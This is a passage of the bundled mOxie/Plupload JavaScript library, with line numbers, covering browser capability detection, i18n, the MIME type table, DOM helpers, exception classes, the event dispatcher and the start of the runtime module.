1090 // as of 23.0.1271.64, Chrome switched from throwing exception to merely logging it to the console (why? o why?)
1091 if (xhr.responseType !== responseType) {
1092 return false;
1093 }
1094 return true;
1095 }
1096 }
1097 } catch (ex) {}
1098 return false;
1099 },
1100
1101 // ideas for this heavily come from Modernizr (http://modernizr.com/)
1102 use_data_uri: (function() {
1103 var du = new Image();
1104
1105 du.onload = function() {
1106 caps.use_data_uri = (du.width === 1 && du.height === 1);
1107 };
1108
1109 setTimeout(function() {
1110 du.src = "data:image/gif;base64,R0lGODlhAQABAIAAAP8AAAAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==";
1111 }, 1);
1112 return false;
1113 }()),
1114
1115 use_data_uri_over32kb: function() { // IE8
1116 return caps.use_data_uri && (Env.browser !== 'IE' || Env.version >= 9);
1117 },
1118
1119 use_data_uri_of: function(bytes) {
1120 return (caps.use_data_uri && bytes < 33000 || caps.use_data_uri_over32kb());
1121 },
1122
1123 use_fileinput: function() {
1124 if (navigator.userAgent.match(/(Android (1.0|1.1|1.5|1.6|2.0|2.1))|(Windows Phone (OS 7|8.0))|(XBLWP)|(ZuneWP)|(w(eb)?OSBrowser)|(webOS)|(Kindle\/(1.0|2.0|2.5|3.0))/)) {
1125 return false;
1126 }
1127
1128 var el = document.createElement('input');
1129 el.setAttribute('type', 'file');
1130 return !el.disabled;
1131 }
1132 };
1133
1134 return function(cap) {
1135 var args = [].slice.call(arguments);
1136 args.shift(); // shift of cap
1137 return Basic.typeOf(caps[cap]) === 'function' ? caps[cap].apply(this, args) : !!caps[cap];
1138 };
1139 }());
1140
1141
1142 var uaResult = new UAParser().getResult();
1143
1144
1145 var Env = {
1146 can: can,
1147
1148 uaParser: UAParser,
1149
1150 browser: uaResult.browser.name,
1151 version: uaResult.browser.version,
1152 os: uaResult.os.name, // everybody intuitively types it in a lowercase for some reason
1153 osVersion: uaResult.os.version,
1154
1155 verComp: version_compare,
1156
1157 global_event_dispatcher: "moxie.core.EventTarget.instance.dispatchEvent"
1158 };
1159
1160 // for backward compatibility
1161 // @deprecated Use `Env.os` instead
1162 Env.OS = Env.os;
1163
1164 if (MXI_DEBUG) {
1165 Env.debug = {
1166 runtime: true,
1167 events: false
1168 };
1169
1170 Env.log = function() {
1171
1172 function logObj(data) {
1173 // TODO: this should recursively print out the object in a pretty way
1174 console.appendChild(document.createTextNode(data + "\n"));
1175 }
1176
1177 var data = arguments[0];
1178
1179 if (Basic.typeOf(data) === 'string') {
1180 data = Basic.sprintf.apply(this, arguments);
1181 }
1182
1183 if (window && window.console && window.console.log) {
1184 window.console.log(data);
1185 } else if (document) {
1186 var console = document.getElementById('moxie-console');
1187 if (!console) {
1188 console = document.createElement('pre');
1189 console.id = 'moxie-console';
1190 //console.style.display = 'none';
1191 document.body.appendChild(console);
1192 }
1193
1194 if (Basic.inArray(Basic.typeOf(data), ['object', 'array']) !== -1) {
1195 logObj(data);
1196 } else {
1197 console.appendChild(document.createTextNode(data + "\n"));
1198 }
1199 }
1200 };
1201 }
1202
1203 return Env;
1204});
1205
1206// Included from: src/javascript/core/I18n.js
1207
1208/**
1209 * I18n.js
1210 *
1211 * Copyright 2013, Moxiecode Systems AB
1212 * Released under GPL License.
1213 *
1214 * License: http://www.plupload.com/license
1215 * Contributing: http://www.plupload.com/contributing
1216 */
1217
1218define("moxie/core/I18n", [
1219 "moxie/core/utils/Basic"
1220], function(Basic) {
1221 var i18n = {};
1222
1223 return {
1224 /**
1225 * Extends the language pack object with new items.
1226 *
1227 * @param {Object} pack Language pack items to add.
1228 * @return {Object} Extended language pack object.
1229 */
1230 addI18n: function(pack) {
1231 return Basic.extend(i18n, pack);
1232 },
1233
1234 /**
1235 * Translates the specified string by checking for the english string in the language pack lookup.
1236 *
1237 * @param {String} str String to look for.
1238 * @return {String} Translated string or the input string if it wasn't found.
1239 */
1240 translate: function(str) {
1241 return i18n[str] || str;
1242 },
1243
1244 /**
1245 * Shortcut for translate function
1246 *
1247 * @param {String} str String to look for.
1248 * @return {String} Translated string or the input string if it wasn't found.
1249 */
1250 _: function(str) {
1251 return this.translate(str);
1252 },
1253
1254 /**
1255 * Pseudo sprintf implementation - simple way to replace tokens with specified values.
1256 *
1257 * @param {String} str String with tokens
1258 * @return {String} String with replaced tokens
1259 */
1260 sprintf: function(str) {
1261 var args = [].slice.call(arguments, 1);
1262
1263 return str.replace(/%[a-z]/g, function() {
1264 var value = args.shift();
1265 return Basic.typeOf(value) !== 'undefined' ? value : '';
1266 });
1267 }
1268 };
1269});
1270
1271// Included from: src/javascript/core/utils/Mime.js
1272
1273/**
1274 * Mime.js
1275 *
1276 * Copyright 2013, Moxiecode Systems AB
1277 * Released under GPL License.
1278 *
1279 * License: http://www.plupload.com/license
1280 * Contributing: http://www.plupload.com/contributing
1281 */
1282
1283define("moxie/core/utils/Mime", [
1284 "moxie/core/utils/Basic",
1285 "moxie/core/I18n"
1286], function(Basic, I18n) {
1287
1288 var mimeData = "" +
1289 "application/msword,doc dot," +
1290 "application/pdf,pdf," +
1291 "application/pgp-signature,pgp," +
1292 "application/postscript,ps ai eps," +
1293 "application/rtf,rtf," +
1294 "application/vnd.ms-excel,xls xlb," +
1295 "application/vnd.ms-powerpoint,ppt pps pot," +
1296 "application/zip,zip," +
1297 "application/x-shockwave-flash,swf swfl," +
1298 "application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx," +
1299 "application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx," +
1300 "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx," +
1301 "application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx," +
1302 "application/vnd.openxmlformats-officedocument.presentationml.template,potx," +
1303 "application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx," +
1304 "application/x-javascript,js," +
1305 "application/json,json," +
1306 "audio/mpeg,mp3 mpga mpega mp2," +
1307 "audio/x-wav,wav," +
1308 "audio/x-m4a,m4a," +
1309 "audio/ogg,oga ogg," +
1310 "audio/aiff,aiff aif," +
1311 "audio/flac,flac," +
1312 "audio/aac,aac," +
1313 "audio/ac3,ac3," +
1314 "audio/x-ms-wma,wma," +
1315 "image/bmp,bmp," +
1316 "image/gif,gif," +
1317 "image/jpeg,jpg jpeg jpe," +
1318 "image/photoshop,psd," +
1319 "image/png,png," +
1320 "image/svg+xml,svg svgz," +
1321 "image/tiff,tiff tif," +
1322 "text/plain,asc txt text diff log," +
1323 "text/html,htm html xhtml," +
1324 "text/css,css," +
1325 "text/csv,csv," +
1326 "text/rtf,rtf," +
1327 "video/mpeg,mpeg mpg mpe m2v," +
1328 "video/quicktime,qt mov," +
1329 "video/mp4,mp4," +
1330 "video/x-m4v,m4v," +
1331 "video/x-flv,flv," +
1332 "video/x-ms-wmv,wmv," +
1333 "video/avi,avi," +
1334 "video/webm,webm," +
1335 "video/3gpp,3gpp 3gp," +
1336 "video/3gpp2,3g2," +
1337 "video/vnd.rn-realvideo,rv," +
1338 "video/ogg,ogv," +
1339 "video/x-matroska,mkv," +
1340 "application/vnd.oasis.opendocument.formula-template,otf," +
1341 "application/octet-stream,exe";
1342
1343
1344 var Mime = {
1345
1346 mimes: {},
1347
1348 extensions: {},
1349
1350 // Parses the default mime types string into a mimes and extensions lookup maps
1351 addMimeType: function (mimeData) {
1352 var items = mimeData.split(/,/), i, ii, ext;
1353
1354 for (i = 0; i < items.length; i += 2) {
1355 ext = items[i + 1].split(/ /);
1356
1357 // extension to mime lookup
1358 for (ii = 0; ii < ext.length; ii++) {
1359 this.mimes[ext[ii]] = items[i];
1360 }
1361 // mime to extension lookup
1362 this.extensions[items[i]] = ext;
1363 }
1364 },
1365
1366
1367 extList2mimes: function (filters, addMissingExtensions) {
1368 var self = this, ext, i, ii, type, mimes = [];
1369
1370 // convert extensions to mime types list
1371 for (i = 0; i < filters.length; i++) {
1372 ext = filters[i].extensions.split(/\s*,\s*/);
1373
1374 for (ii = 0; ii < ext.length; ii++) {
1375
1376 // if there's an asterisk in the list, then accept attribute is not required
1377 if (ext[ii] === '*') {
1378 return [];
1379 }
1380
1381 type = self.mimes[ext[ii]];
1382 if (type && Basic.inArray(type, mimes) === -1) {
1383 mimes.push(type);
1384 }
1385
1386 // future browsers should filter by extension, finally
1387 if (addMissingExtensions && /^\w+$/.test(ext[ii])) {
1388 mimes.push('.' + ext[ii]);
1389 } else if (!type) {
1390 // if we have no type in our map, then accept all
1391 return [];
1392 }
1393 }
1394 }
1395 return mimes;
1396 },
1397
1398
1399 mimes2exts: function(mimes) {
1400 var self = this, exts = [];
1401
1402 Basic.each(mimes, function(mime) {
1403 if (mime === '*') {
1404 exts = [];
1405 return false;
1406 }
1407
1408 // check if this thing looks like mime type
1409 var m = mime.match(/^(\w+)\/(\*|\w+)$/);
1410 if (m) {
1411 if (m[2] === '*') {
1412 // wildcard mime type detected
1413 Basic.each(self.extensions, function(arr, mime) {
1414 if ((new RegExp('^' + m[1] + '/')).test(mime)) {
1415 [].push.apply(exts, self.extensions[mime]);
1416 }
1417 });
1418 } else if (self.extensions[mime]) {
1419 [].push.apply(exts, self.extensions[mime]);
1420 }
1421 }
1422 });
1423 return exts;
1424 },
1425
1426
1427 mimes2extList: function(mimes) {
1428 var accept = [], exts = [];
1429
1430 if (Basic.typeOf(mimes) === 'string') {
1431 mimes = Basic.trim(mimes).split(/\s*,\s*/);
1432 }
1433
1434 exts = this.mimes2exts(mimes);
1435
1436 accept.push({
1437 title: I18n.translate('Files'),
1438 extensions: exts.length ? exts.join(',') : '*'
1439 });
1440
1441 // save original mimes string
1442 accept.mimes = mimes;
1443
1444 return accept;
1445 },
1446
1447
1448 getFileExtension: function(fileName) {
1449 var matches = fileName && fileName.match(/\.([^.]+)$/);
1450 if (matches) {
1451 return matches[1].toLowerCase();
1452 }
1453 return '';
1454 },
1455
1456 getFileMime: function(fileName) {
1457 return this.mimes[this.getFileExtension(fileName)] || '';
1458 }
1459 };
1460
1461 Mime.addMimeType(mimeData);
1462
1463 return Mime;
1464});
1465
1466// Included from: src/javascript/core/utils/Dom.js
1467
1468/**
1469 * Dom.js
1470 *
1471 * Copyright 2013, Moxiecode Systems AB
1472 * Released under GPL License.
1473 *
1474 * License: http://www.plupload.com/license
1475 * Contributing: http://www.plupload.com/contributing
1476 */
1477
1478define('moxie/core/utils/Dom', ['moxie/core/utils/Env'], function(Env) {
1479
1480 /**
1481 Get DOM Element by it's id.
1482
1483 @method get
1484 @for Utils
1485 @param {String} id Identifier of the DOM Element
1486 @return {DOMElement}
1487 */
1488 var get = function(id) {
1489 if (typeof id !== 'string') {
1490 return id;
1491 }
1492 return document.getElementById(id);
1493 };
1494
1495 /**
1496 Checks if specified DOM element has specified class.
1497
1498 @method hasClass
1499 @static
1500 @param {Object} obj DOM element like object to add handler to.
1501 @param {String} name Class name
1502 */
1503 var hasClass = function(obj, name) {
1504 if (!obj.className) {
1505 return false;
1506 }
1507
1508 var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)");
1509 return regExp.test(obj.className);
1510 };
1511
1512 /**
1513 Adds specified className to specified DOM element.
1514
1515 @method addClass
1516 @static
1517 @param {Object} obj DOM element like object to add handler to.
1518 @param {String} name Class name
1519 */
1520 var addClass = function(obj, name) {
1521 if (!hasClass(obj, name)) {
1522 obj.className = !obj.className ? name : obj.className.replace(/\s+$/, '') + ' ' + name;
1523 }
1524 };
1525
1526 /**
1527 Removes specified className from specified DOM element.
1528
1529 @method removeClass
1530 @static
1531 @param {Object} obj DOM element like object to add handler to.
1532 @param {String} name Class name
1533 */
1534 var removeClass = function(obj, name) {
1535 if (obj.className) {
1536 var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)");
1537 obj.className = obj.className.replace(regExp, function($0, $1, $2) {
1538 return $1 === ' ' && $2 === ' ' ? ' ' : '';
1539 });
1540 }
1541 };
1542
1543 /**
1544 Returns a given computed style of a DOM element.
1545
1546 @method getStyle
1547 @static
1548 @param {Object} obj DOM element like object.
1549 @param {String} name Style you want to get from the DOM element
1550 */
1551 var getStyle = function(obj, name) {
1552 if (obj.currentStyle) {
1553 return obj.currentStyle[name];
1554 } else if (window.getComputedStyle) {
1555 return window.getComputedStyle(obj, null)[name];
1556 }
1557 };
1558
1559
1560 /**
1561 Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields.
1562
1563 @method getPos
1564 @static
1565 @param {Element} node HTML element or element id to get x, y position from.
1566 @param {Element} root Optional root element to stop calculations at.
1567 @return {object} Absolute position of the specified element object with x, y fields.
1568 */
1569 var getPos = function(node, root) {
1570 var x = 0, y = 0, parent, doc = document, nodeRect, rootRect;
1571
1572 node = node;
1573 root = root || doc.body;
1574
1575 // Returns the x, y cordinate for an element on IE 6 and IE 7
1576 function getIEPos(node) {
1577 var bodyElm, rect, x = 0, y = 0;
1578
1579 if (node) {
1580 rect = node.getBoundingClientRect();
1581 bodyElm = doc.compatMode === "CSS1Compat" ? doc.documentElement : doc.body;
1582 x = rect.left + bodyElm.scrollLeft;
1583 y = rect.top + bodyElm.scrollTop;
1584 }
1585
1586 return {
1587 x : x,
1588 y : y
1589 };
1590 }
1591
1592 // Use getBoundingClientRect on IE 6 and IE 7 but not on IE 8 in standards mode
1593 if (node && node.getBoundingClientRect && Env.browser === 'IE' && (!doc.documentMode || doc.documentMode < 8)) {
1594 nodeRect = getIEPos(node);
1595 rootRect = getIEPos(root);
1596
1597 return {
1598 x : nodeRect.x - rootRect.x,
1599 y : nodeRect.y - rootRect.y
1600 };
1601 }
1602
1603 parent = node;
1604 while (parent && parent != root && parent.nodeType) {
1605 x += parent.offsetLeft || 0;
1606 y += parent.offsetTop || 0;
1607 parent = parent.offsetParent;
1608 }
1609
1610 parent = node.parentNode;
1611 while (parent && parent != root && parent.nodeType) {
1612 x -= parent.scrollLeft || 0;
1613 y -= parent.scrollTop || 0;
1614 parent = parent.parentNode;
1615 }
1616
1617 return {
1618 x : x,
1619 y : y
1620 };
1621 };
1622
1623 /**
1624 Returns the size of the specified node in pixels.
1625
1626 @method getSize
1627 @static
1628 @param {Node} node Node to get the size of.
1629 @return {Object} Object with a w and h property.
1630 */
1631 var getSize = function(node) {
1632 return {
1633 w : node.offsetWidth || node.clientWidth,
1634 h : node.offsetHeight || node.clientHeight
1635 };
1636 };
1637
1638 return {
1639 get: get,
1640 hasClass: hasClass,
1641 addClass: addClass,
1642 removeClass: removeClass,
1643 getStyle: getStyle,
1644 getPos: getPos,
1645 getSize: getSize
1646 };
1647});
1648
1649// Included from: src/javascript/core/Exceptions.js
1650
1651/**
1652 * Exceptions.js
1653 *
1654 * Copyright 2013, Moxiecode Systems AB
1655 * Released under GPL License.
1656 *
1657 * License: http://www.plupload.com/license
1658 * Contributing: http://www.plupload.com/contributing
1659 */
1660
1661define('moxie/core/Exceptions', [
1662 'moxie/core/utils/Basic'
1663], function(Basic) {
1664 function _findKey(obj, value) {
1665 var key;
1666 for (key in obj) {
1667 if (obj[key] === value) {
1668 return key;
1669 }
1670 }
1671 return null;
1672 }
1673
1674 return {
1675 RuntimeError: (function() {
1676 var namecodes = {
1677 NOT_INIT_ERR: 1,
1678 NOT_SUPPORTED_ERR: 9,
1679 JS_ERR: 4
1680 };
1681
1682 function RuntimeError(code) {
1683 this.code = code;
1684 this.name = _findKey(namecodes, code);
1685 this.message = this.name + ": RuntimeError " + this.code;
1686 }
1687
1688 Basic.extend(RuntimeError, namecodes);
1689 RuntimeError.prototype = Error.prototype;
1690 return RuntimeError;
1691 }()),
1692
1693 OperationNotAllowedException: (function() {
1694
1695 function OperationNotAllowedException(code) {
1696 this.code = code;
1697 this.name = 'OperationNotAllowedException';
1698 }
1699
1700 Basic.extend(OperationNotAllowedException, {
1701 NOT_ALLOWED_ERR: 1
1702 });
1703
1704 OperationNotAllowedException.prototype = Error.prototype;
1705
1706 return OperationNotAllowedException;
1707 }()),
1708
1709 ImageError: (function() {
1710 var namecodes = {
1711 WRONG_FORMAT: 1,
1712 MAX_RESOLUTION_ERR: 2,
1713 INVALID_META_ERR: 3
1714 };
1715
1716 function ImageError(code) {
1717 this.code = code;
1718 this.name = _findKey(namecodes, code);
1719 this.message = this.name + ": ImageError " + this.code;
1720 }
1721
1722 Basic.extend(ImageError, namecodes);
1723 ImageError.prototype = Error.prototype;
1724
1725 return ImageError;
1726 }()),
1727
1728 FileException: (function() {
1729 var namecodes = {
1730 NOT_FOUND_ERR: 1,
1731 SECURITY_ERR: 2,
1732 ABORT_ERR: 3,
1733 NOT_READABLE_ERR: 4,
1734 ENCODING_ERR: 5,
1735 NO_MODIFICATION_ALLOWED_ERR: 6,
1736 INVALID_STATE_ERR: 7,
1737 SYNTAX_ERR: 8
1738 };
1739
1740 function FileException(code) {
1741 this.code = code;
1742 this.name = _findKey(namecodes, code);
1743 this.message = this.name + ": FileException " + this.code;
1744 }
1745
1746 Basic.extend(FileException, namecodes);
1747 FileException.prototype = Error.prototype;
1748 return FileException;
1749 }()),
1750
1751 DOMException: (function() {
1752 var namecodes = {
1753 INDEX_SIZE_ERR: 1,
1754 DOMSTRING_SIZE_ERR: 2,
1755 HIERARCHY_REQUEST_ERR: 3,
1756 WRONG_DOCUMENT_ERR: 4,
1757 INVALID_CHARACTER_ERR: 5,
1758 NO_DATA_ALLOWED_ERR: 6,
1759 NO_MODIFICATION_ALLOWED_ERR: 7,
1760 NOT_FOUND_ERR: 8,
1761 NOT_SUPPORTED_ERR: 9,
1762 INUSE_ATTRIBUTE_ERR: 10,
1763 INVALID_STATE_ERR: 11,
1764 SYNTAX_ERR: 12,
1765 INVALID_MODIFICATION_ERR: 13,
1766 NAMESPACE_ERR: 14,
1767 INVALID_ACCESS_ERR: 15,
1768 VALIDATION_ERR: 16,
1769 TYPE_MISMATCH_ERR: 17,
1770 SECURITY_ERR: 18,
1771 NETWORK_ERR: 19,
1772 ABORT_ERR: 20,
1773 URL_MISMATCH_ERR: 21,
1774 QUOTA_EXCEEDED_ERR: 22,
1775 TIMEOUT_ERR: 23,
1776 INVALID_NODE_TYPE_ERR: 24,
1777 DATA_CLONE_ERR: 25
1778 };
1779
1780 function DOMException(code) {
1781 this.code = code;
1782 this.name = _findKey(namecodes, code);
1783 this.message = this.name + ": DOMException " + this.code;
1784 }
1785
1786 Basic.extend(DOMException, namecodes);
1787 DOMException.prototype = Error.prototype;
1788 return DOMException;
1789 }()),
1790
1791 EventException: (function() {
1792 function EventException(code) {
1793 this.code = code;
1794 this.name = 'EventException';
1795 }
1796
1797 Basic.extend(EventException, {
1798 UNSPECIFIED_EVENT_TYPE_ERR: 0
1799 });
1800
1801 EventException.prototype = Error.prototype;
1802
1803 return EventException;
1804 }())
1805 };
1806});
1807
1808// Included from: src/javascript/core/EventTarget.js
1809
1810/**
1811 * EventTarget.js
1812 *
1813 * Copyright 2013, Moxiecode Systems AB
1814 * Released under GPL License.
1815 *
1816 * License: http://www.plupload.com/license
1817 * Contributing: http://www.plupload.com/contributing
1818 */
1819
1820define('moxie/core/EventTarget', [
1821 'moxie/core/utils/Env',
1822 'moxie/core/Exceptions',
1823 'moxie/core/utils/Basic'
1824], function(Env, x, Basic) {
1825 /**
1826 Parent object for all event dispatching components and objects
1827
1828 @class EventTarget
1829 @constructor EventTarget
1830 */
1831 function EventTarget() {
1832 // hash of event listeners by object uid
1833 var eventpool = {};
1834
1835 Basic.extend(this, {
1836
1837 /**
1838 Unique id of the event dispatcher, usually overriden by children
1839
1840 @property uid
1841 @type String
1842 */
1843 uid: null,
1844
1845 /**
1846 Can be called from within a child in order to acquire uniqie id in automated manner
1847
1848 @method init
1849 */
1850 init: function() {
1851 if (!this.uid) {
1852 this.uid = Basic.guid('uid_');
1853 }
1854 },
1855
1856 /**
1857 Register a handler to a specific event dispatched by the object
1858
1859 @method addEventListener
1860 @param {String} type Type or basically a name of the event to subscribe to
1861 @param {Function} fn Callback function that will be called when event happens
1862 @param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first
1863 @param {Object} [scope=this] A scope to invoke event handler in
1864 */
1865 addEventListener: function(type, fn, priority, scope) {
1866 var self = this, list;
1867
1868 // without uid no event handlers can be added, so make sure we got one
1869 if (!this.hasOwnProperty('uid')) {
1870 this.uid = Basic.guid('uid_');
1871 }
1872
1873 type = Basic.trim(type);
1874
1875 if (/\s/.test(type)) {
1876 // multiple event types were passed for one handler
1877 Basic.each(type.split(/\s+/), function(type) {
1878 self.addEventListener(type, fn, priority, scope);
1879 });
1880 return;
1881 }
1882
1883 type = type.toLowerCase();
1884 priority = parseInt(priority, 10) || 0;
1885
1886 list = eventpool[this.uid] && eventpool[this.uid][type] || [];
1887 list.push({fn : fn, priority : priority, scope : scope || this});
1888
1889 if (!eventpool[this.uid]) {
1890 eventpool[this.uid] = {};
1891 }
1892 eventpool[this.uid][type] = list;
1893 },
1894
1895 /**
1896 Check if any handlers were registered to the specified event
1897
1898 @method hasEventListener
1899 @param {String} type Type or basically a name of the event to check
1900 @return {Mixed} Returns a handler if it was found and false, if - not
1901 */
1902 hasEventListener: function(type) {
1903 var list = type ? eventpool[this.uid] && eventpool[this.uid][type] : eventpool[this.uid];
1904 return list ? list : false;
1905 },
1906
1907 /**
1908 Unregister the handler from the event, or if former was not specified - unregister all handlers
1909
1910 @method removeEventListener
1911 @param {String} type Type or basically a name of the event
1912 @param {Function} [fn] Handler to unregister
1913 */
1914 removeEventListener: function(type, fn) {
1915 type = type.toLowerCase();
1916
1917 var list = eventpool[this.uid] && eventpool[this.uid][type], i;
1918
1919 if (list) {
1920 if (fn) {
1921 for (i = list.length - 1; i >= 0; i--) {
1922 if (list[i].fn === fn) {
1923 list.splice(i, 1);
1924 break;
1925 }
1926 }
1927 } else {
1928 list = [];
1929 }
1930
1931 // delete event list if it has become empty
1932 if (!list.length) {
1933 delete eventpool[this.uid][type];
1934
1935 // and object specific entry in a hash if it has no more listeners attached
1936 if (Basic.isEmptyObj(eventpool[this.uid])) {
1937 delete eventpool[this.uid];
1938 }
1939 }
1940 }
1941 },
1942
1943 /**
1944 Remove all event handlers from the object
1945
1946 @method removeAllEventListeners
1947 */
1948 removeAllEventListeners: function() {
1949 if (eventpool[this.uid]) {
1950 delete eventpool[this.uid];
1951 }
1952 },
1953
1954 /**
1955 Dispatch the event
1956
1957 @method dispatchEvent
1958 @param {String/Object} Type of event or event object to dispatch
1959 @param {Mixed} [...] Variable number of arguments to be passed to a handlers
1960 @return {Boolean} true by default and false if any handler returned false
1961 */
1962 dispatchEvent: function(type) {
1963 var uid, list, args, tmpEvt, evt = {}, result = true, undef;
1964
1965 if (Basic.typeOf(type) !== 'string') {
1966 // we can't use original object directly (because of Silverlight)
1967 tmpEvt = type;
1968
1969 if (Basic.typeOf(tmpEvt.type) === 'string') {
1970 type = tmpEvt.type;
1971
1972 if (tmpEvt.total !== undef && tmpEvt.loaded !== undef) { // progress event
1973 evt.total = tmpEvt.total;
1974 evt.loaded = tmpEvt.loaded;
1975 }
1976 evt.async = tmpEvt.async || false;
1977 } else {
1978 throw new x.EventException(x.EventException.UNSPECIFIED_EVENT_TYPE_ERR);
1979 }
1980 }
1981
1982 // check if event is meant to be dispatched on an object having specific uid
1983 if (type.indexOf('::') !== -1) {
1984 (function(arr) {
1985 uid = arr[0];
1986 type = arr[1];
1987 }(type.split('::')));
1988 } else {
1989 uid = this.uid;
1990 }
1991
1992 type = type.toLowerCase();
1993
1994 list = eventpool[uid] && eventpool[uid][type];
1995
1996 if (list) {
1997 // sort event list by prority
1998 list.sort(function(a, b) { return b.priority - a.priority; });
1999
2000 args = [].slice.call(arguments);
2001
2002 // first argument will be pseudo-event object
2003 args.shift();
2004 evt.type = type;
2005 args.unshift(evt);
2006
2007 if (MXI_DEBUG && Env.debug.events) {
2008 Env.log("Event '%s' fired on %u", evt.type, uid);
2009 }
2010
2011 // Dispatch event to all listeners
2012 var queue = [];
2013 Basic.each(list, function(handler) {
2014 // explicitly set the target, otherwise events fired from shims do not get it
2015 args[0].target = handler.scope;
2016 // if event is marked as async, detach the handler
2017 if (evt.async) {
2018 queue.push(function(cb) {
2019 setTimeout(function() {
2020 cb(handler.fn.apply(handler.scope, args) === false);
2021 }, 1);
2022 });
2023 } else {
2024 queue.push(function(cb) {
2025 cb(handler.fn.apply(handler.scope, args) === false); // if handler returns false stop propagation
2026 });
2027 }
2028 });
2029 if (queue.length) {
2030 Basic.inSeries(queue, function(err) {
2031 result = !err;
2032 });
2033 }
2034 }
2035 return result;
2036 },
2037
2038 /**
2039 Alias for addEventListener
2040
2041 @method bind
2042 @protected
2043 */
2044 bind: function() {
2045 this.addEventListener.apply(this, arguments);
2046 },
2047
2048 /**
2049 Alias for removeEventListener
2050
2051 @method unbind
2052 @protected
2053 */
2054 unbind: function() {
2055 this.removeEventListener.apply(this, arguments);
2056 },
2057
2058 /**
2059 Alias for removeAllEventListeners
2060
2061 @method unbindAll
2062 @protected
2063 */
2064 unbindAll: function() {
2065 this.removeAllEventListeners.apply(this, arguments);
2066 },
2067
2068 /**
2069 Alias for dispatchEvent
2070
2071 @method trigger
2072 @protected
2073 */
2074 trigger: function() {
2075 return this.dispatchEvent.apply(this, arguments);
2076 },
2077
2078
2079 /**
2080 Handle properties of on[event] type.
2081
2082 @method handleEventProps
2083 @private
2084 */
2085 handleEventProps: function(dispatches) {
2086 var self = this;
2087
2088 this.bind(dispatches.join(' '), function(e) {
2089 var prop = 'on' + e.type.toLowerCase();
2090 if (Basic.typeOf(this[prop]) === 'function') {
2091 this[prop].apply(this, arguments);
2092 }
2093 });
2094
2095 // object must have defined event properties, even if it doesn't make use of them
2096 Basic.each(dispatches, function(prop) {
2097 prop = 'on' + prop.toLowerCase(prop);
2098 if (Basic.typeOf(self[prop]) === 'undefined') {
2099 self[prop] = null;
2100 }
2101 });
2102 }
2103
2104 });
2105 }
2106
2107 EventTarget.instance = new EventTarget();
2108
2109 return EventTarget;
2110});
2111
2112// Included from: src/javascript/runtime/Runtime.js
2113
2114/**
2115 * Runtime.js
2116 *
2117 * Copyright 2013, Moxiecode Systems AB
2118 * Released under GPL License.
2119 *
2120 * License: http://www.plupload.com/license
2121 * Contributing: http://www.plupload.com/contributing
2122 */
2123
2124define('moxie/runtime/Runtime', [
2125 "moxie/core/utils/Env",
2126 "moxie/core/utils/Basic",
2127 "moxie/core/utils/Dom",
2128 "moxie/core/EventTarget"
2129], function(Env, Basic, Dom, EventTarget) {
2130 var runtimeConstructors = {}, runtimes = {};
2131
2132 /**
2133 Common set of methods and properties for every runtime instance
2134
2135 @class Runtime
2136
2137 @param {Object} options
2138 @param {String} type Sanitized name of the runtime
2139 @param {Object} [caps] Set of capabilities that differentiate specified runtime
2140 @param {Object} [modeCaps] Set of capabilities that do require specific operational mode
2141 @param {String} [preferredMode='browser'] Preferred operational mode to choose if no required capabilities were requested
2142 */
2143 function Runtime(options, type, caps, modeCaps, preferredMode) {
2144 /**
2145 Dispatched when runtime is initialized and ready.
2146 Results in RuntimeInit on a connected component.
2147
2148 @event Init
2149 */
2150
2151 /**
2152 Dispatched when runtime fails to initialize.
2153 Results in RuntimeError on a connected component.
2154
2155 @event Error
2156 */
2157
2158 var self = this
2159 , _shim
2160 , _uid = Basic.guid(type + '_')
2161 , defaultMode = preferredMode || 'browser'
2162 ;
2163
2164 options = options || {};
2165
2166 // register runtime in private hash
2167 runtimes[_uid] = this;
2168
2169 /**
2170 Default set of capabilities, which can be redifined later by specific runtime
2171
2172 @private
2173 @property caps
2174 @type Object
2175 */
2176 caps = Basic.extend({
2177 // Runtime can:
2178 // provide access to raw binary data of the file
2179 access_binary: false,
2180 // provide access to raw binary data of the image (image extension is optional)
2181 access_image_binary: false,
2182 // display binary data as thumbs for example
2183 display_media: false,
2184 // make cross-domain requests
2185 do_cors: false,
2186 // accept files dragged and dropped from the desktop
2187 drag_and_drop: false,
2188 // filter files in selection dialog by their extensions
2189 filter_by_extension: true,
2190 // resize image (and manipulate it raw data of any file in general)
2191 resize_image: false,
2192 // periodically report how many bytes of total in the file were uploaded (loaded)
2193 report_upload_progress: false,
2194 // provide access to the headers of http response
2195 return_response_headers: false,
2196 // support response of specific type, which should be passed as an argument
2197 // e.g. runtime.can('return_response_type', 'blob')
2198 return_response_type: false,
2199 // return http status code of the response
2200 return_status_code: true,
2201 // send custom http header with the request
2202 send_custom_headers: false,
2203 // pick up the files from a dialog
2204 select_file: false,
2205 // select whole folder in file browse dialog
2206 select_folder: false,
2207 // select multiple files at once in file browse dialog
2208 select_multiple: true,
2209 // send raw binary data, that is generated after image resizing or manipulation of other kind
2210 send_binary_string: false,
2211 // send cookies with http request and therefore retain session
2212 send_browser_cookies: true,
2213 // send data formatted as multipart/form-data
2214 send_multipart: true,
2215 // slice the file or blob to smaller parts
2216 slice_blob: false,
2217 // upload file without preloading it to memory, stream it out directly from disk
2218 stream_upload: false,
2219 // programmatically trigger file browse dialog
2220 summon_file_dialog: false,
2221 // upload file of specific size, size should be passed as argument
2222 // e.g. runtime.can('upload_filesize', '500mb')
2223 upload_filesize: true,
2224 // initiate http request with specific http method, method should be passed as argument
2225 // e.g. runtime.can('use_http_method', 'put')
2226 use_http_method: true
2227 }, caps);
2228
2229
2230 // default to the mode that is compatible with preferred caps
2231 if (options.preferred_caps) {
2232 defaultMode = Runtime.getMode(modeCaps, options.preferred_caps, defaultMode);
2233 }
2234
2235 if (MXI_DEBUG && Env.debug.runtime) {
2236 Env.log("\tdefault mode: %s", defaultMode);
2237 }
2238
2239 // small extension factory here (is meant to be extended with actual extensions constructors)
2240 _shim = (function() {
2241 var objpool = {};
2242 return {
2243 exec: function(uid, comp, fn, args) {
2244 if (_shim[comp]) {
2245 if (!objpool[uid]) {
2246 objpool[uid] = {
2247 context: this,
